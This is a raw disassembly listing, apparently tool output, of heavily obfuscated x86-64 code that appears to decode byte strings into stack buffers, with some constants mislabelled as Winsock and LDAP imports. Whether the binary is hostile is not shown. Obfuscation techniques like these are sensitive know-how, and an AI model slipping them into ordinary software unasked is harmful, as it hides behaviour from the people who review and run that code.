jmp 0x14008aa3f
movabs rcx, 0xeab38000dea9e780
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rdx, 0x9af7a800dbe16168
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rcx, 0x4b3bd000d918db50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008ab17
movabs rdx, 0xfb7ff800d6505538
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008ab48
movabs rdx, 0xabc42000d387cf20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
movabs rcx, 0xe46e8400cc927fe4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
mov byte [rbp + rdi + 0xea0], r11b
inc rdi
jmp 0x140089de2
movabs rdx, 0x94b2ac00c9c9f9cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 8
jb 0x14008a2c2
movabs rcx, 0xe26c08008df2b6c8
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14008a98e
movabs rdx, 0x44f6d400c70173b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x42
jae 0x14008a87e
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008a75b
movabs rdx, 0xc5159800721d79d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
jmp 0x14008a2e9
movabs rcx, 0xf53afc00c438ed9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x14008a8ad
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14008a63c
movabs rcx, 0x7fe13c0054e3f9dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14008a346
movabs rcx, 0x9f3a2800af58ffe8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
movabs rdx, 0x4f7e5000ac9079d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008ab48
movabs rcx, 0xffc27800a9c7f3b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14008ab17
movabs rcx, 0xb006a000a6ff6da0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rdx, 0x604ac800a436e788
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rcx, 0x108ef000a16e6170
jmp 0x14008a5ea
movabs rcx, 0xc0d318009ea5db58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
dec rdi
inc rdi
jmp 0x140089de2
movabs rdx, 0x711740009bdd5540
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14008a9d1
movabs rcx, 0x215b68009914cf28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14008a98e
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14008a55e
lea rcx, [rdi + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x14008a397
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a5a4
movabs rdx, 0x8a68b8003a72fff8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
inc rax
cmp r8, rax
jne 0x14008a5d3
movabs rcx, 0xda2490003d3b8610
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14008ab48
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a603
movabs rcx, 0x1913f000485d9e70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14008aa3f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a397
movabs rcx, 0xb88ba0004deeaaa0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140089de2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a65d
movabs rdx, 0xcf9d140057ac7ff4
mov ecx, Ordinal_46
jmp 0x14008a97a
inc rax
cmp r8, rax
jne 0x14008a695
movabs rcx, 0x1f58ec005a75060c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
inc r9
dec rdi
inc rdi
jmp 0x140089de2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008a6d0
movabs rdx, 0x6f14c4005d3d8c24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140089de2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a715
movabs rdx, 0x5e484c0065971e6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008a346
movabs rdx, 0x4d7bd4006df0b0b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008a7a1
movabs rdx, 0x14d1700074e5fff0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
inc rax
cmp r8, rax
jne 0x14008a7d0
movabs rcx, 0x648d480077ae8608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x14008ab48
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008a813
movabs rcx, 0x53c0d00080081850
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008a848
movabs rdx, 0xa37ca80082d09e68
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008aa3f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008a2f5
movabs rcx, 0xf338800085992480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140089de2
movabs rdx, 0x3227e00090bb3ce0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xea0]
sub r11b, al
sub r11b, 0x20
add r11b, dl
add r11b, bl
jmp 0x14008aa3f
movabs rdx, 0x81e3b8009383c2f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14008ab17
movabs rdx, 0x12cef400364636d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
movabs rdx, 0x239b6c002deca48c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rdx, 0x8423bc00285b985c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008aa3f
movabs rdx, 0x94f0340020020614
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xa49f4008f56f9d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xea0], cl
inc r9
dec rdi
inc rdi
jmp 0x140089de2
movabs rdx, 0xa5bcac0017a873cc
mov ecx, gethostname
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140089de2
movabs rdx, 0x5600d40014dfedb4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140089de2
movabs rcx, 0x644fc001217679c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
movabs rdx, 0x5a05cc00921f7fec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x74
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xea0], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rdx, 0xb68924000f4ee184
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
movabs rdx, 0x66cd4c000c865b6c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140089de2
mov rbx, r10
movabs rcx, 0x1711740009bdd554
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x4c
add r11b, cl
movabs rdx, 0xa9c1a40094e80604
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x1c
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xea0], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xd19f9000964c4910
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x70
add cl, bl
mov byte [rbp + rdi + 0xea0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
movabs rdx, 0x7799c400042cc924
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xea0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140089de2
movabs rdx, 0xb64b9c00b916d53c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089de0
movabs rdx, 0x668fc400b64e4f24
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089dd0
lea r14, [rbp + 0x15d1ab0]
jmp 0x14008ac35
lea r14, [rbp + 0x815dbc]
jmp 0x14008ac35
lea r14, [rbp + 0xea0]
lea rdx, [0x14021adf0]
lea rcx, [rbp + 0x660]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x90]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006b0b0
mov r15, rax
mov byte [rbp + 0x680], Ordinal_41
mov byte [rbp + 0x681], listen
mov byte [rbp + 0x682], gethostname
mov byte [rbp + 0x683], gethostname
mov byte [rbp + 0x684], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x685], Ordinal_41
mov byte [rbp + 0x686], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x687], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x688], reloc.WS2_32.dll_socket
mov byte [rbp + 0x689], reloc.WS2_32.dll_socket
mov byte [rbp + 0x68a], 0x62
mov byte [rbp + 0x68b], Ordinal_60
mov byte [rbp + 0x68c], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x68d], xmm0
mov dword [rbp + 0x69d], eax
mov word [rbp + 0x6a1], ax
movabs rdx, 0xff5bdbc229587e4c
movabs r12, 0x974266d30478135c
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor esi, esi
movabs rcx, 0x50587ecd189800ec
cmp rsi, 0x23
jae 0x14008b9f2
movzx edi, byte [rbp + rsi + 0x680]
mov r10, rdi
cmp r8, rsi
ja 0x14008b9e6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008ad72
add rcx, rsi
mov rax, rcx
and rax, rdi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdi
sub bl, 0x74
jmp 0x14008ada0
je 0x14008b957
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b8c8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008b885
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008b84e
nop
cmp r9, rsi
ja 0x14008b9da
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14008adde
lea rdx, [rsi + r12]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ae11
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008b7f1
inc rax
cmp r8, rax
je 0x14008b7bc
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b78a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008b74a
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14008b346
nop
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008b31f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008b2e5
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008b2ae
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008b28c
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008b24e
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008b22c
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008b20a
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008ae20
lea r8, [r9 + 4]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008b9b8
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008b996
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14008af78
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008af5f
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008b1ae
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14008b129
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008b0ee
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008b0c7
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008b0a0
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008b079
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008b039
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008affb
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008afd9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14008afa4
lea r8, [r9 + 0x41]
lea r9, [r8 + 4]
jmp 0x14008ae20
lea rcx, [rsi + rdx]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x14
jmp 0x14008ada0
movabs rcx, 0x5eaade27f8287c74
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2c
movabs rcx, 0x50587ecd189800ec
jmp 0x14008ad3e
movabs rcx, 0x196238fdf2909908
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x38
inc r9
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rcx, 0xd8003dc990309558
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x68
jmp 0x14008b6e0
movabs rcx, 0x374f402f5f009380
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x80
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0x969e42952dd091a8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0xf5ed44fafca08fd0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b8eb
movabs rdx, 0x553c4760cb708df8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b91e
movabs rdx, 0xb48b49c69a408c20
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b976
movabs rdx, 0x22d0cfc51f488784
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
mov byte [rbp + rsi + 0x680], bl
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0xe16ed490bce883d4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
cmp r8, 6
jae 0x14008b6b9
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14008b59e
movabs rcx, 0xbc589db1e0b04b98
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x28
cmp r9, 0x20
jb 0x14008b110
movabs rdx, 0x34285b7cc905e08
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x70]
jmp 0x14008b80e
movabs rdx, 0x40bdd6f68bb881fc
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x14008b72b
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14008b47c
movabs rdx, 0x251636dedc38383c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14008b141
movabs rcx, 0xeadd6b57e9a07250
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x30
jmp 0x14008b91e
movabs rcx, 0x4a2c6dbdb8707078
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x48
jmp 0x14008b8eb
movabs rcx, 0x8ca728956106cc8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x78
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0x681974ef24e06af0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14008b6db
movabs rdx, 0xc7687754f3b06918
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0x26b779bac2806740
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0x86067c2091506568
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b80e
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14008b375
movabs rcx, 0x50587ecd189800ec
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x74
jmp 0x14008b1d0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008b3a4
movabs rcx, 0x2e84cda608f026b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 8
jmp 0x14008b976
inc rax
cmp r8, rax
jne 0x14008b3d7
movabs rdx, 0xcf35cb403a202890
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b91e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b40b
movabs rdx, 0x6fe6c8da6b502a68
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b8eb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008b44a
movabs rcx, 0xf2aabf43301031c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x78
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008b1d0
movabs rdx, 0x340cba7792703578
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x48
add bl, dl
jmp 0x14008b80e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008b4b0
movabs rdx, 0xc5c734790d683a14
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b80e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b4f0
movabs rcx, 0x7292fad6fc83dc4
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x5c
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008b51f
movabs rcx, 0xa7da2d47a0f83f9c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x44
jmp 0x14008b6e0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008b56a
movabs rcx, 0x488b2ae1d2284174
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2c
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14008b14b
movabs rdx, 0xcb4f214a96e848d4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14008b976
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008b5cd
movabs rcx, 0x5d099b4c11e04d70
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x10
jmp 0x14008b976
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008b601
movabs rdx, 0x9e6b968074405120
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008b8eb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008b64e
movabs rdx, 0x3f1c941aa57052f8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008b67a
movabs rdx, 0x807e8f4f07d056a8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14008b6db
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008b17f
movabs rcx, 0x212f8ce939005880
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x80
dec rsi
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
movabs rdx, 0xa3f38351fdc05fe0
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ebx, byte [rbp + rsi + 0x680]
sub bl, al
sub bl, 0x20
add bl, dl
add bl, dil
movabs rdx, 0xf44c021f165860cc
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0x680], cl
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
movabs rdx, 0xff5bdbc229587e4c
jmp 0x14008ad22
